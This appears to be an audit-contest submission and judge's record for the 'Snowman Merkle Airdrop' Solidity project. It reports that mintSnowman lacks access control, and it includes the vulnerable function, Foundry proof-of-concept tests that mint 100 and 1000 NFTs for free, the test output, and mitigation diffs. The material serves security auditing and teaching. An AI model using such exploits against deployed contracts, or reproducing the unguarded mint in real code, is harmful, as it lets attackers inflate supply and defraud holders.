Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman::mintSnowman lacks access control, letting anyone mint unlimited Snowman NFTs without staking Snow

Root + Impact

Description

  • Snowman NFTs are meant to be minted only through SnowmanAirdrop::claimSnowman, after a recipient proves Merkle eligibility, supplies a valid signature, and stakes their Snow tokens.

  • Snowman::mintSnowman is external with no access control, so any address can call it directly and mint any number of NFTs to any receiver while staking nothing. The contract inherits Ownable and declares an unused SM__NotAllowed() error, showing the restriction was intended but never implemented.

function mintSnowman(address receiver, uint256 amount) external {
//@> no owner/airdrop check: any caller, any receiver, any amount
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Any address can call mintSnowman at any time after deployment, with no precondition and no cost beyond gas.

  • This is the contract's only mint path and it is permanently unguarded, so every deployment is affected from the first block.

Impact:

  • The airdrop and staking mechanism is bypassed entirely: NFTs are free without holding, staking, or burning any Snow, which makes the Merkle tree, the signature scheme, and the Snow token pointless.

  • NFT supply becomes unbounded and attacker-controlled, destroying scarcity and diluting the NFTs of legitimate claimers.

Proof of Concept

Save as test/Sub1.t.sol and run forge test --match-path test/Sub1.t.sol -vv. The attacker holds no Snow, has no Merkle proof and no signature, yet ends up owning 100 NFTs.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
contract Sub1UnrestrictedMint is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
address attacker = makeAddr("attacker");
function setUp() public {
Helper helper = new Helper();
(airdrop, snow, nft, weth) = helper.run();
}
function test_AnyoneMintsUnlimitedSnowman() public {
// Attacker holds no Snow, has no Merkle proof and no signature.
assertEq(snow.balanceOf(attacker), 0);
assertEq(nft.balanceOf(attacker), 0);
vm.prank(attacker);
nft.mintSnowman(attacker, 100);
assertEq(nft.balanceOf(attacker), 100); // 100 NFTs minted for free
assertEq(snow.balanceOf(attacker), 0); // nothing was staked
assertEq(nft.ownerOf(0), attacker);
}
}

Output:

Ran 1 test for test/Sub1.t.sol:Sub1UnrestrictedMint
[PASS] test_AnyoneMintsUnlimitedSnowman() (gas: 3390813)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.03ms (2.22ms CPU time)

Recommended Mitigation

Store the airdrop address and restrict minting to it.

+ address private s_airdrop;
+
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (_airdrop == address(0)) revert SM__NotAllowed();
+ s_airdrop = _airdrop;
+ }
+
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) revert SM__NotAllowed();
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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